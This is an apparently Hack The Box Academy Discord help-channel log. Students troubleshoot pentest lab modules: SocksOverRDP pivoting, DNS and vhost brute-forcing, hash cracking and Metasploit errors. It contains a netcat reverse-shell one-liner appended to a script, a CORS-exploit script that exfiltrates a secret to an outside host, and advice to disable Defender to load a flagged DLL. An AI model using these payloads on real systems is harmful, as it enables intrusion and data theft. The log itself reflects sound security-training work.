modules

[eager ledge]

Hi I am doing RDP and SOCKS Tunneling with SocksOverRDP section of "PIVOTING, TUNNELING, AND PORT FORWARDING" module. I downloaded the SocksOverRDP for AMD64 and transferred it to the Windows machine via RDP. I now need to load the SocksOverRDP.dll using regsvr32.exe. However, when I unzip the SocksOverRDP, I can see the .dll file. But after a while, it disappears automatically. Why is this happening?

I have tried it multiple times and this happens every time.

I get this error message when I try to load it because the file has been deleted for some reason:

[fathom pendant]

real-time protection is running

[eager ledge]

So I should first disable it for this to work?

[fathom pendant]

yep

real-time protecting SocksOverRDP-server.dll as a malicious dll

and is yeeting it

[little bear]

Made some progress by standing up smbserver, but still some kinks. Anyone have a good article for certutil for file downloads?

[cloud urchin]

AD Trust Attacks: SID Filter Bypass CVE-2020-0665. When I modify ftinfo.py to parse msDS-TrustForestTrustInfo's data it doesn't show cihld.inlanefreight.ad as the module says it should. Am I doing something wrong?

I was still able to get the exploit working and obtain the flag and everything, but this doesn't reflect the information the module shows.

[eager ledge]

I managed to disable real time protection and load the dll file. However, when I RDP into the internal server, I get the following error:

I tried to ping the RDP server from the command prompt, but I don't get any response. That might have also been due to ICMP packet disable

[fathom pendant]

A --> B --> C

there's a middle host you have to connect to

A is the first target; C is the target the question wants you to connect to

A doesn't share a network with C; but it does with B

B also shares a network with C

😉

and yes you do have all the info, this section is a guide

[cloud urchin]

well.. not all the info.. real time protection lol

[fathom pendant]

i just meant to move forward

[cloud urchin]

not sure why they haven't added that RTP thing yet. i guess it's for a reason or they would have already.

[fathom pendant]

i mean

windows basics ig

¯_(ツ)_/¯

[cloud urchin]

but they disable other parts of the av heh

is that actually covered in some windows basics module?

[fathom pendant]

¯_(ツ)_/¯

it could also be a slight show that defender isn't the only protection running on Windows machines

[cloud urchin]

in arguably the most difficult part of the pivot module? heh

i don't recall anyone even asking for help on the skills assesment just this part

[eager ledge]

I got access to the intermediate server

I cannot find the realtime protection settings in the server

[cloud urchin]

It's in the Windows Security settings

Virus & threat protection

[eager ledge]

I have checked there as well

[cloud urchin]

what happens when you click open windows security

[fathom pendant]

you turn off real-time protection for the device you are launching the .dll from

[eager ledge]

I need to repeat the same steps that I did for the first target server right?

[fathom pendant]

https://support.microsoft.com/en-us/windows/stay-protected-with-windows-security-2ae0363d-0ada-c064-8b56-6a39afb6a963

[fathom pendant]

nope

[eager ledge]

So, I am trying to load dll on the intermediate server as well

[fathom pendant]

you don't need to load the dll on the second server

read the instructions again 😉 it only has you load the dll once; then has you set up the client exe

[cloud urchin]

Search for Virus & threat protection settings

[fathom pendant]

RTP is only running on the initial host

[eager ledge]

I have searched for it. Cannot find the settings

[eager ledge]

I don't understand, why do we even need to load the dll once again?

[fathom pendant]

we don't

you only load the dll on the initial host

[eager ledge]

I mean could I not simply RDP into the the intermediate server without loading dll?

[fathom pendant]

you run the exe on the second host

[fathom pendant]

because the dll is used as a bridge from A --> B to be able to connect to C

[cloud urchin]

You could do a lot of things to connect. This section is showcasing the SocksOverRDP method

[fathom pendant]

^

i mean in all technicality you can connect to C from B

but that's not the point of the module

it's to teach you how to pivot through a network

the dll itself hooks into the remote desktop program

(which is why you get the success message and all that as shown by the module)

then on server 2 you run the exe which hooks back to the first host (finishing the bridge)

now for the fun part; Proxifier facilitates the connection

the instructions here; if you look

say socksoverrdpx64-server.exe not .dll

[eager ledge]

Yes I seemed to have missed that! Thanks

I will try again

I get this error

[fathom pendant]

well

then you didn't load the dll on the first host

[eager ledge]

I did it

[fathom pendant]

did you get the success message when you launched the mstsc.exe?

[eager ledge]

Yes

you mean SocksOverRDP dll right?

[fathom pendant]

yes

[eager ledge]

Or the proxifier?

[fathom pendant]

dll on host 1; exe on host 2

are you also running with admin privs

[cloud urchin]

yeah admin prompt up there

[fathom pendant]

well it seems like it either didn't load right or should be reloaded

[fathom pendant]

and try again

[eager ledge]

It still gives the same error

[fathom pendant]

launch the remote service after loading dll

[eager ledge]

Yes I reloaded the dll

And then tried executing the exe file

and I get the same error

[fathom pendant]

yes but did you load the dll before or after you launched the remote desktop

[cloud urchin]

When you remoted in as victor, did you get this?

[fathom pendant]

^

[eager ledge]

The first time I got this message

[cloud urchin]

you need this message

[eager ledge]

Now its using previous settings I guess

[fathom pendant]

this section overall (at least with SocksOverRDP) is just a pain

[eager ledge]

I got the message:

It worked!

[wise vault]

hi everyone

am stuck on Attacking Common Services "Attacking sql db's" section

flag value is not showing up

any help please

[eager ledge]

I have set up the proxifier

But when I connect to the internal target I get the error

[cloud urchin]

Have you applied the settings from the performance consideration section?

[eager ledge]

I tried that too

nothing much

[wise vault]

hello

how did you solved it?

[cloud urchin]

Not much more you can do about connection quality. Maybe try changing vpn regions, or restarting the whole environment and trying again. make sure you apply the settings to all rdp sessions.

[cloud urchin]

That command is not part of that module, and there is no section "attacking sql db's"

Try using the commands from the module

[mint beacon]

Hey, I am new here

How do I learn hacking

[wise vault]

there is no cmds that lists the columns data so i searched it

[cloud urchin]

HTB Academy is a great start

[wise vault]

i write in short

[mint beacon]

I mean, what to do here ?

[eager ledge]

I am also getting this error in proxifier

[cloud urchin]

The module gives you the commands to complete this. You need to enumerate the databases, then the tables, then select the information from the table.

[eager ledge]

you can crack the hash

[wise vault]

am just stuck on flagDB. how i can read its content? i searched a lot

[cloud urchin]

Re-read the "SQL Syntax" section

[eager ledge]

I have this on my notes:

[mint beacon]

Can I get some help ?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[mint beacon]

thank you

[wise vault]

thanks a lot i was working from last 4 hours.🥹 @cloud urchin

[cloud urchin]

Did you get it?

[wise vault]

yeah i got the flag

[cloud urchin]

nice work

[wise vault]

mate i have one question

the machine in final engagement of the shells & payloads modules is too slow. every click takes 3 seconds. is there any solution for this.

[marble island]

Hello folks, can i do a video writeup about the hackthebox modules?

I believe that if you can explain to someone something very well is the ultimate way of learning something

[fringe urchin]

I remember i switched vpn from eu 1 to eu 2 and it worked way more smoother. But still not optimal.
Id say switch around some.regions and see whats best.
Other then that bite your teeth together and power through. Its not long live eng.

[round moat]

hey guys can anyone help me this "Connection has time out problem", its making me mad and am unable to solve challenges from modules.
What should I do?? Need urgent help !! I have to check ping status every 5 minutes to check whether its up or not

[young elk]

I believe HTB only allows Tier 0 modules’ content for publishing.

[acoustic owl]

https://help.hackthebox.com/en/articles/5188925-streaming-writeups-walkthrough-guidelines

[acoustic owl]

Reach out to support

[round moat]

I didnt find anything thats helping me on support, I seriously need help regarding this

[acoustic owl]

Open a ticket with Support. Only the support team can help you in such a situation

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[stiff urchin]

It has been long time since you posted, yet did that hasher worked for you ? I get error flag when i post the answer!

[simple wadi]

Gm

[wise vault]

Hi, Thank you i will try and will tell you 🙂

[zenith vale]

Where can i find someone to talk to about billings?

[sacred ermine]

same, currently suffering with kerberos stuff, just stuck there for hours just bc machine is too slow and I can't help myself

annoys a lot

the task itself is not diffcult just a slow machine

I regret now taking this challenge, just thought would be great if I cover it, but I cannot skip those tasks since its not acceptable for me

[wise vault]

too annoying buddy. i can feel.🥹

[shut quest]

If it's questions about a subscription we might be able answer, if it's an issue with billing you will need to reach out to support. The green bubble on the lower right of the page.

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[zenith vale]

It was weird looked like i was billed twice on my banks app but it got fixed so idk all good i guess now

[rustic sage]

Anyone having issues on the pivoting and tunneling skills assesment RDP connection?

I've changed VPN servers and closest I get is the welcome screen and it sits

<@&861185840277487616>

[unreal seal]

can we only use pwn box only on web? is rdp also allowed to pwnbox?
bcz certain actions are not applied in pwn box then.
like when i press ctrl+w it close the pwn box tab rather the tab of browser i am using within pwnbox.

it is very difficult to use pwnbox in browser.

[acoustic owl]

You can use your own vm

[round moat]

when am trying to get root flag using meterpreter; using this command echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.217 8083 > /tmp/f" >> monitor.sh
it says Text file busy , hungup
what should I do?

[acoustic owl]

Which module, which section? Which question?

[round moat]

Penetration Tester -> Getting Started -> Nibbles Privileage Escalation -> root flag

[acoustic owl]

If I remember correctly, the module is structured like a walkthrough. Follow the module exactly

[round moat]

doing same but not working

[wise vault]

There is an alternate method of connecting to RDP other than username and password. any hint about it

[acoustic owl]

https://medium.com/@JAlblas/hackthebox-nibbles-walkthrough-259ad8c014e9

[wise vault]

i searched but nothing found

[round moat]

yep i did the same

but the problme is same

[acoustic owl]

this is not the same 😉
Check the command

[round moat]

i also did the same thing just like this writeup but getting the same error again and again.

[acoustic owl]

restart the lab an try again

[round moat]

okay let me try again

[fringe urchin]

Is that a question? Yes there exist other methods then using pass/username

[wise vault]

it is a hint

from the module of Attacking common services section attacking rdp

am stuck

tried lots of ways

is it priv esc?

[fringe urchin]

Werent you asking about payload n shell a few hours ago?
Jumping and skipping other modules is bad

.

And for this module i havent done it yet since i havent worked on htb for more then a month now

[wise vault]

i just asked about it i solved and i completed till now

all the modules

[weak shell]

Hi, I tried this advice and none of the zones I found match the target IP. I also followed your advice and took a look at https://www.cloudflare.com/learning/dns/glossary/dns-zone/, but I'm still not understanding my mistake.

I'm looking for all of the SOA and PTR records because I think this is the right path.

[wise vault]

can dm me

[rustic sage]

it's always better to use your own VM!

I treat pwnbox like this, when I can't do certain things bcz of my VPN issues I just spin up the pwnbox!

[fierce mason]

in the socksoverrdp section of pivoting, is the second server supposed to be pingable once proxifier is set up on the pivot host and socks is set up on the first server

[muted vortex]

you may DM if you have any tip, am opened to suggestions

or share it here I don't mind

[fathom pendant]

this looks like you copy/pasted the reference code from the section

either way

[dense pendant]

yo why cant i write messages on general chat

[fathom pendant]

either way; this could be considered spoilers

[fathom pendant]

read and follow #welcome

module?

you don't need a long wordlist

i meant which module you goon lmao

[muted vortex]

You have an idea on how to solve that question 1? from Broken authentication (Predictable Reset Token)

[fathom pendant]

that doesn't help

module name and section name are more helpful

the numbers don't mean shit

[fathom pendant]

#modules message

that's not a module name

the NAME of the module

such as "Network Enumeration with NMAP"

that's the section name

there is no module named "Virtual Hosts"

thank you

long wordlist btw doesn't mean it would contain the same words as the right wordlist

it just means it has a lot of words

some just happened to get answers

[fierce mason]

i tried logging in with .\jason instead of just "jason" since the hint mentioned local accounts but i still cant connect to the second server

[fathom pendant]

you don't need to login with it as local

the second server's user isn't jason

read the section carefully, it's a detailed list of steps, including the second host

[fierce mason]

is it victor

[fathom pendant]

yes

this section is all about double hopping

the question tells you to get to server 3

the jump host is server 1

[fierce mason]

i meant server 3, sorry

[fathom pendant]

you connect to 1 (A) --> run the dll
You then connect to B from A --> and then run the .exe
You then (on A) set up Proxifier
then (if everything is set up right) A --> C

all creds and hosts are provided in the section

[dim wolf]

did you figure this out yet

[gritty nymph]

Yo,can someone help me?

[dim wolf]

ask your question and someone may help

[fathom pendant]

no one can answer questions you don't ask

[weak shell]

You're right. I've got a question on the footprinting module.

It's the last one about DNS where I'm expected to find the FQDN of the host where the last octet ends in 203. I believe I'm on the right track, but I'm sure I'm missing something.

[vast bolt]

hello how can i connect with smb (with the username bob)

[weak shell]

https://tldp.org/HOWTO/SMB-HOWTO-8.html

@vast bolt ^^

[vast bolt]

thanks

[fathom pendant]

are you using the showcased bruteforce tool?

hint: the tool isn't limited to the base domain

(there's other hints, but it's also covered by the hint button i belive)

the answer will be format {ans}.{subd}.inlanefreight.htb

[weak shell]

I tried that at first, and the domains I found didn't match criteria, so I stepped away from that, and now I'm using the bash script that was shown in the module as well. It seems to be pulling the same results, so I know this is operator error.

Now I'm looking in the options and trying other lists, but it's all permutations of the info I already have.

So now I'm trying to see if there's something else I'm missing in my understanding, or if there's a place I can do a reverse lookup, but I'm 100% sure I'm supposed to bruteforce this.

[fathom pendant]

the bruteforce tool is the way to go

it only looks as high as you tell it

[weak shell]

Right, and I looked in this chat and someone suggested to use the small lists instead of the large ones, and I used those, but I still didn't see anything new.

[fathom pendant]

if you only tell it to look at the base domain (inlanefreight.htb) it doesn't dig deeper

did you do a basic zone transfer (no tools)

[weak shell]

Right, so I told it to look at the domains I found in the bruteforce.

[fathom pendant]

to see what subdomains are potentially available?

first step: dig axfr inlanefreight.htb @ip

[weak shell]

Yep. I (think?) I know all of them.

[fathom pendant]

no bruteforce tools yet

[weak shell]

Did that, and I have that info in my notes.

[fathom pendant]

then one of those subdomains will have your answer

[weak shell]

Then, I checked the SOA record because of this blog's advice: https://www.cloudflare.com/learning/dns/glossary/dns-zone/

[fathom pendant]

SOA won't be helpful

[weak shell]

Thanks, I'll try again within this scope.

PTRs?

[fathom pendant]

nope

again

[weak shell]

Ah... That was my mistake.

[fathom pendant]

don't overthink

you're trying to overcomplicate

[weak shell]

You're correct. Thank you.

[fathom pendant]

that CF site was purely for people asking about what a DNS zone is

it's not telling you to look at SOA for anything

2 ways to move forward from this information

either manually check each subdomain with the tool

OR

create a list with the subdomains, and use a for loop

since it's a relatively small list

¯_(ツ)_/¯

[jagged otter]

hi

[weak shell]

@fathom pendant I'm using the tool with a very large list and a for loop to make sure I don't miss anything. If that doesn't work, could I PM you and show you my methodology?

[hexed lintel]

id_rsa file belongs to user dennis

but iwas able to login as root using the file

please explain my confusion

[fathom pendant]

Perhaps use a more fierce list

[upper ruin]

Shadow ping pong

[fathom pendant]

Not all wordlists are created equal

[fathom pendant]

The ssh key is password protected

[weak shell]

https://tenor.com/view/wow-gif-20411229

I tried that one so many times.

I'll do that one instead of the top million

[upper ruin]

Did he do chmod

On the id_rsa

[fathom pendant]

Read the message

It's not about rsa perms

[upper ruin]

Oh...he is on that task.

[fathom pendant]

He needs to crack that first to use it

[upper ruin]

Yup, he will have some fun.

[fathom pendant]

¯_(ツ)_/¯

[hexed lintel]

yes, i cracked passphrase using john,
what i dont understand is

id_rsa belongs to user dennis but how user root can login through that id_rsa

[fathom pendant]

Logical leap

Why would he password protect it

[upper ruin]

[fathom pendant]

d* might be the computer admin so the key is reused for both (not smart)

[upper ruin]

Wait...where is my beard role.

NOOOOO

[fathom pendant]

Vanity roles don't stick around long

As goofy as they are

[upper ruin]

I trimmed my beard anyway

[fathom pendant]

G0b knew and removed it then /s

[upper ruin]

I knew one of those links he sent in DMs was weaponized.

Bro installed a camera device on a monitor, somehow

[drifting vortex]

Looking for some help in the virtual Hosts module of Information gathering - web edition

I'm stuck on finding out what the "HOST Header" is

I understand i'll need the vhost list while fuzzing to get the info I need, but Idk what my "HOST header" will be

[fathom pendant]

-H "HOST: "

As likely shown in the section

[drifting vortex]

so I just leave it blank afterwords

[fathom pendant]

No

Since you're fuzzing for subdomains/vhosts

[drifting vortex]

wil it be www.inlanefreight.htb

[fathom pendant]

-H "HOST: FUZZ.inlanefreight.htb"

For ffuf

Or using a for loop -H "HOST: ${subdomain}.inlanefreight.htb"

[drifting vortex]

ok i got it

I was putting www. infront and it didnt work for me at all

so I needed to get rid of the www

[fathom pendant]

Yep the next fun part is properly filtering

[drifting vortex]

After this is crawling

[fathom pendant]

You'll notice a lot of results with the same length... but they all direct to the default login page if you curl them with the host header (same -H parameter)

[fathom pendant]

Nah if you notice the pattern after a few seconds you can ctrl-c instead of waiting

Since it will hit 200 on everything in the list

Response size filtering is the next step

(Unless you already did that)

[drifting vortex]

I didint do that yet

[little bear]

[fathom pendant]

Alright so, what do you notice as the common size, filter that out

(-fs)

Ffuf has 2 types of filters
Filter out and match in
They use the same syntax except filters are -f(N) and matches are -m(N)

M for when you want the result, f for fuck it and throw it out

[drifting vortex]

So then id wanna do a -m(N) to save some time?

[fathom pendant]

Nope

(N) is replaced

Btw

But you don't know the size you want to match

But you do know what size you don't want

man ffuf or ffuf -h should give you syntax info

[drifting vortex]

says 612

[fathom pendant]

Curl one of those subdomains curl ip -H "HOST: subdomain.inlanefreight.htb"

And do that a few times to see

Or add a few to your /etc/hosts

[drifting vortex]

first I need to get my list of subdomains. I didnt even do the vHost fuzzing to get the list of sub domains

[fathom pendant]

Nope the basic namelist in the Seclists dns enumeration should have the subdomains

The point I'm trying to get you to see is. Is 612 the size you want?

If not, then filter it out

[drifting vortex]

So then theres no point in me doing the vHost fuzzing

[fathom pendant]

And ffuf won't give you those results

[fathom pendant]

I'm telling you how to be more effective with it

You got it down to at least give you some info

But is the info it's given so far useful

If it's not, use the tool's options to get it to be more effective

[drifting vortex]

After having a smol panic attack I understand now @fathom pendant

Lmao I read this like 10x and was so confused and then I it clicked after running || cat /opt/useful/SecLists/Discovery/DNS/namelist.txt | while read vhost;do echo "\n********\nFUZZING: ${vhost}\n********";curl -s -I http://10.129.42.195 -H "HOST: ${vhost}.inlanefreight.com" | grep "Content-Length: ";done ||

So this result brought up a bunch of random bs and what I really needed was the subdomain list with the size of 612. But I don't know what the correlation is with 612. I do see it says its the default response size but is that all there is to it?

I got my results by running || ffuf -w /opt/useful/SecLists/Discovery/DNS/namelist.txt -u http://10.129.42.195 -H "HOST: FUZZ.inlanefreight.com" -fs 612 ||
this gave me the list I was looking for, thanks for the help!

[honest gyro]

sup everyone i need help on ADVANCED XSS AND CSRF EXPLOITATION-->CORS Misconfigurations
i have found the vuln page but when i set the origin to the exploit server nothing seem to happen here is my exploit
||` <script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://vulnerablesite.htb:53255/profile.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
var doc = new DOMParser().parseFromString(xhr.response, 'text/html');

  var msg = encodeURIComponent(doc.getElementById('secret').innerHTML);
  location = 'https://exfiltrate.htb:53255/log?data=' + btoa(msg);
};
xhr.send();

</script>`||
im glad for any suggestions

[drifting vortex]

Is there anyway for me to filter this down besides going and testinig everyone of these?

[fathom pendant]

What's the common size

[fathom pendant]

If you wanna spoiler the command, you put the || on the outside btw

[drifting vortex]

I see the size of 10918 a lot

but I thought I filtered that out

[honest gyro]

sry didnt notice

[fathom pendant]

With what ffuf parameter

-ms or -fs

[drifting vortex]

-fs

|| ffuf -w /opt/useful/SecLists/Discovery/DNS/namelist.txt -u http://10.129.42.195 -H "HOST: FUZZ.inlanefreight.com" -fs 612 ||

is what I used

[fathom pendant]

Well if the common size is this, why are you using ||612||

[drifting vortex]

well actually all I see is 10918

[fathom pendant]

-fs filter out responses of this size

Yes

Which means your filter is wrong lmao

-fs <size>

Or list,of,sizes

If you know 10918 isn't correct, by deduction, then you want ffuf to not show you those responses

Also

I noticed another issue

inlanefreight.com

[drifting vortex]

I took out the || -fs612 || and got the same answer

[fathom pendant]

It should be inlanefreight.htb

Brother

[drifting vortex]

stop 😭

[fathom pendant]

Idk how much more I can break this down

You got a common size of x

[drifting vortex]

I see my ways of error 😦

[fathom pendant]

So you do -fs x

Since those common sizes, are the default page

You know they dont have the info you are looking for

[drifting vortex]

no no i got it now

please dont hate me now @fathom pendant

[fathom pendant]

Your problem is mostly copy/pasting the given example command without actually thinking

Apply brain

I know think you have one

Delete

You goober

[drifting vortex]

why i did the spoiler

[fathom pendant]

Doesn't matter

People can easily click a spoiler message

[queen timber]

Hello, I have a weird problem. When I connect to dante pro lab, I can’t access the lab network…
I get an answer from an external address when I ping into the lab network

[fathom pendant]

And since that's directly part of the answer

Best to not post

[drifting vortex]

To be fail, I did copy and past but I thought I changed everything I needed to... I just didnt think that hard on this is all....

[fathom pendant]

Wrong channel brother

[queen timber]

Which is the right one?

[fathom pendant]

Read and follow #welcome to access #prolabs-dante

Otherwise reach out to support

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

Apply brain

The way I did the questions I did I silly little for loop with the found subdomains and curl and grep

[drifting vortex]

I'll do better master 😦

but i havnt come here for awhile so thats good 🙂

You havnt helped in a good chunk

[fathom pendant]

¯_(ツ)_/¯

Step 1: read, step 2: realize you can't read, step 3: cry

[marble island]

Hello i'm doing the Pass The Ticket on linux section

I wanna know, when i do an "ls -la " on the /tmp directory there are tickets for julio

How do i know witch one hasn't expired? Both tickets have the same date

[rotund sphinx]

hi, is anyone else having connection issues with HTB?

my connection to targets seems very unreliable today 😦

[next bronze]

the expiry of the ticket is embedded within the ticket itself, you won't see it running ls -la, import the ticket and run klist

[marble island]

Thanks

[little bear]

I'm taking a nap rip file transfer

[fathom pendant]

I hope they fixed the US spawn giving an invalid date

It would default to 01/01/1970

[next bronze]

I hope they fix the US servers in general

[fathom pendant]

¯_(ツ)_/¯

I just bugged them about it for one module and it worked ™️

Took 8+ hours but yknow internals and stuff

[hexed lintel]

I am currently doing password attack hard lab and i am unable to crack ||Logins.kdbx||
I have tried both, hashcat and john with mutulated password

[weak shell]

Hi @fathom pendant, could I PM you? I think I'm messing up on something with this scan.

[fathom pendant]

Well, did you use the appropriate 2john?

[hexed lintel]

yes, ||keepass2john||

[fathom pendant]

Your answer will be in the form of subdomain2.subdomain1.inlanefreight.htb

[fathom pendant]

And you confirmed that the file isn't empty

If you didn't use python2.7 it can create an empty hash which is dumb

But it's doable with mutated list afaik or at least rockyou

Yeah guide says mutated as well so

@lunar brook I didn't say you could dm me, you can fuck off idc about your "project"

What do you think would be the best place to substitute the subdomain for the tool to bruteforce @weak shell

You don't have to change anything but that

You don't need to specify a different IP or anything like that

[hexed lintel]

you mean , python2.7 to transfer file from victim windows to linux??

[fathom pendant]

No

With keepass2john

[weak shell]

It's that last bit that I'm changing based off of what I got from the dig enumeration

Here's my script:

||```
#zones is a file that I created from from the dig enumeration
for zone in $(cat zones.txt); do TOOL --dnsserver $IP --enum -p 0 -s 0 -o subdomains.txt -f WORDLIST $zone; done

@fathom pendant

[fathom pendant]

What is your zones.txt

Also that's not how zones work fwiw

It'd be subdomains

[weak shell]

Can I send that in plaintext, or is that against TOS?

[fathom pendant]

Is zones.txt the subdomain.inlanefreight.htb

[weak shell]

Yep

[fathom pendant]

Ah

[winged egret]

anyone done attacking web applications recently ?? Does the drupalgeddon3 work ? its throwing : [-] Exploit failed: NoMethodError undefined method `first' for nil:NilClass

[fathom pendant]

It's missing something

[wanton idol]

if u writing a report and u find clear text creds in nfs and smb share would u put both of them together in the cvs scoring like Insecure file share or put them both indevidually like Insecure File Share NFS, Insecure File Share SMB

[weak shell]

Gotcha

[fathom pendant]

Delete though

[weak shell]

Okay. I'll try harder.

[fathom pendant]

Individual findings

[weak shell]

Thanks for the sanity check. I apologize for bothering.

[fathom pendant]

Dm me with just your dig results

[weak shell]

WAIT

I THINK I KNOW WHAT I'M MISSING

[fathom pendant]

It seems like you might be overcomplicating it

Step one dig
Step 2 use results to bruteforce

Somehow you got steps 1.a-1.z messing with your brain

[winged egret]

any1 ?

[fathom pendant]

Looks like you're loading it in msfconsole

Sometimes restarting the msfconsole fixes the Nil class error

[hexed lintel]

solved it,

when i transfered file through ftp and generated the hash , it was not cracked

[fathom pendant]

¯_(ツ)_/¯

[hexed lintel]

but when i transfared file through smb and generated the hash it was cracked

why?
hash were diff

[fathom pendant]

Could be many reasons

One being file corrupted in transit

¯_(ツ)_/¯

One small hiccup in your internet

[hexed lintel]

i tried multiple time, did machine reset, rebooted my vm, and re transfered the file.
these things makes hard to solve the labs
wasted 1 full hour

[cloud urchin]

ion radiation https://www.bbc.com/future/article/20221011-how-space-weather-causes-computer-errors

sometimes those cosmic sun rays just blast your computer

[fathom pendant]

Always have multiple methods of file transferral

In case you suspect one is being dumb, do another

(Also xfreerdp has the /drive: option)

Which you can mount a directory as a fileshare

Btw that file is only step 1/5

[hexed lintel]

ok

[fathom pendant]

Lots of back and forth with this lab

You should learn and use the Get-FileHash command in Powershell to do checksums

[cloud urchin]

Get-Help Get-FileHash -Online

[fathom pendant]

Can't do -Online on target boxes

[long orchid]

hi everyone

great wekend for everyone

[cloud urchin]

you can try -Examples but it probably won't have the extra help stuff downloaded

[fathom pendant]

tbh a quick Google usually sorts me out ¯_(ツ)_/¯

[cloud urchin]

Trying to learn more PS over here 😛

[fathom pendant]

Have you tried gestures vaguely the powershell docs

[fathom pendant]

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4

[cloud urchin]

that's what that command sends you 😛

[long orchid]

i have what it may seeem a dumb question, i connect to htb via a vpn, so when i have to ssh, i have to type ssh htb-student@10......(ip address), and after that, the pasword THB_@cadem...., my quiestion is, is there a way that i can automate this, and just enter the new ip since its always the same user and pwd, i am guessing it could be possible, but not sure it is, it is not an issue, and not superurgent, so, whoever have the time to answer this is perfect., thank you.

[fathom pendant]

Nope

[cloud urchin]

it's possible for sure

[fathom pendant]

As the generated target IPs are dynamic

[fathom pendant]

It would probably take longer to set it up than would actually be worth it

[cloud urchin]

absolutely lol

[fathom pendant]

It's also not always the same user/password

And sometimes it's on an alt port or public_ip:port

Or rdp

[long orchid]

ooo

ok, thanks anyway

[cloud urchin]

i'm sure you can make some python script to get the html page and read if it's ssh, rdp, grab the user/pass, then connect using it all

like MarcieLee said it'd be a lot of effort

[long orchid]

but if it where the same ip address, like a home server, and the same user name and password, for it, would it be possible with some script or something like it?

[cloud urchin]

it's possible with htb too, but yeah static variables would make it a lot easier to script

imagine an RDP shortcut, that's essentially what it does, just saves the login info/hostname and connects to it without you inputting stuff

[long orchid]

ok, i'll look into it, thank you again, have a great day

[fathom pendant]

The ips are hardly ever static

They are spun up and given an ip from an available range

Occasionally the stars align and you get the same ip as the examples

You can spin the same target up 3 separate times and get 3 different IPs

[long orchid]

oh, i have a home server for testing, and i am thinking on installing linux on it, so i can use it as a hack box

[fathom pendant]

That's not how this works

The target ips aren't static

Unless you mean setting up your own scenarios

In which case, sure you can automate it

[long orchid]

thats it

[fathom pendant]

But that goes beyond the scope of academy

Also the term you'd be looking for may be "home lab"

[long orchid]

yeah i mean, i am setting up a lab, in my home, and

[fathom pendant]

Not your own "hack the box"

And if you want advice on homelab setups there's a whole ass channel for it

[long orchid]

yup, my mistake, thats what i meant

[fathom pendant]

#homelab-sysadm

[long orchid]

OOOO

looking into that, thanks again

[vale island]

For the people who did pentest path, are there any modules similar to Password Attacks module?....i hope not

[fathom pendant]

I mean

Password attacks opens up a broad technique set

That you'll use throughout

¯_(ツ)_/¯

It's skills you'll get used to

[vale island]

Its the time i have to take on some labs that i dont like, i understand it is brute force but i think it should be a bit shorter

[cloud urchin]

Everyone works through the modules at different speeds. What is slow for you others may get quickly and vice versa.

[vale island]

And the overall question wording is a bit confusing if not misleading tbh

[vale island]

Sure thing

[fathom pendant]

Just gotta think outside the box

Or at least understand that you're generally given an end goal, not a starting point

[rustic sage]

just finished IPMI footprinting that mask is useless

[fathom pendant]

The mask is for specific circumstances if you actually read

[rustic sage]

yeah i getcha however i had gotten used to the format of the provided commands being relevant for the questions

my poor gen-z brainrotted brain has to actually think outside the box

whatever am i going to do

[fathom pendant]

You have a brain? /s

[hexed oyster]

are there ever opportunities to suggest or offer changes or updates to the content?

[fathom pendant]

#1234357888114364508 if it's a clarification change or /feedback

Or if you're really feeling it messaging support

[rustic sage]

@fathom pendant

in footprinting linux remote management protocol it says:
Allowing password authentication allows us to brute-force a known username for possible passwords. Many different methods can be used to guess the passwords of users. For this purpose, specific patterns are usually used to mutate the most commonly used passwords and, frighteningly, correct them

what does it mean by correct them sorry?

[fathom pendant]

Password list weak, mutated password list strong, rules are applied to a generic list to make permutations like p455w0rD!

[rustic sage]

ah right duh

thanks!

[fathom pendant]

As Unga as I can break it down

If you try and mutate rockyou I hear your hard drive kills itself

[dim wolf]

i will try later

[rustic sage]

unga boonga

[shut vapor]

Try using the full path like shown in the sudo -l output, including /user/bin/python3

Threw me for a loop before too

[gleaming spindle]

why cant i talk in off topic

[cloud urchin]

Read #welcome and follow the instructions

[gleaming spindle]

alr thanks

[deep shore]

I'm getting a consistent timeout across VPN endpoints in the AD enum and attacks module's "Attacking Domain Trusts - Child -> Parent Trusts - from Linux". Neither the manual method nor raiseChild.py is working for me. I've followed the steps meticulously but I must be missing something. Was wondering if anyone else had run into this issue in the past. Thanks!

[cloud urchin]

I was able to complete it

You may want to reconnect to the vpn, or re-download the vpn to regenerate it, or change regions and try again.

[deep shore]

Done both of those unfortunately

Is this a high-traffic time or smth?

Just timeout at every turn

[cloud urchin]

are you trying from the internal box or your own

[deep shore]

My own

I haven't got an attackbox spun up

I can give that a try

It'd only be the fourth time I've learned that lesson...

[cloud urchin]

not the attack box

the internal box, the pivot host

how are you pivoting into the network?

[deep shore]

From my VM -> Linux attack host -> child DC

As prescribed.

[cloud urchin]

that tells me nothing, exactly how are you doing that

ssh dynamic port forwarding, chisel, ligolo

[deep shore]

Nothing

[cloud urchin]

well there's your problem

[deep shore]

Nichevo

How you mean

Are we talking about the same module

[cloud urchin]

your vm won't be able to connect to the private vlan without setting up a pivot of some kind

[deep shore]

Listne

My VM

to the Linux attack host

[fathom pendant]

I think the target box on the inside is a linux box

[deep shore]

No

[verbal anchor]

Okay, I am stuck on the Shells & Payload Live Enagement Host 2. I tried resetting msf and the options for the ||50064.rb|| exploit.

Here are my options:

||msf6 exploit(50064) > options

Module options (exploit/50064):

Name Current Setting Required Description

---

PASSWORD admin123!@# yes Blog password
Proxies no A proxy chain of format type:hos
t:port[,type:host:port][...]
RHOSTS 172.16.1.12 yes The target host(s), range CIDR i
dentifier, or hosts file with sy
ntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing c
onnections
TARGETURI / yes The URI of the arkei gate
USERNAME admin yes Blog username
VHOST blog.inlanefreight.l no HTTP server virtual host
ocal

Payload options (php/meterpreter/bind_tcp):

Name Current Setting Required Description

---

LPORT 4444 yes The listen port
RHOST 172.16.1.12 no The target address

Exploit target:

Id Name

---

0 PHP payload||

Here is the output after I run the exploit:

||msf6 exploit(50064) > run

[-] Exploit failed: NoMethodError undefined method `get_cookies' for nil:NilClass
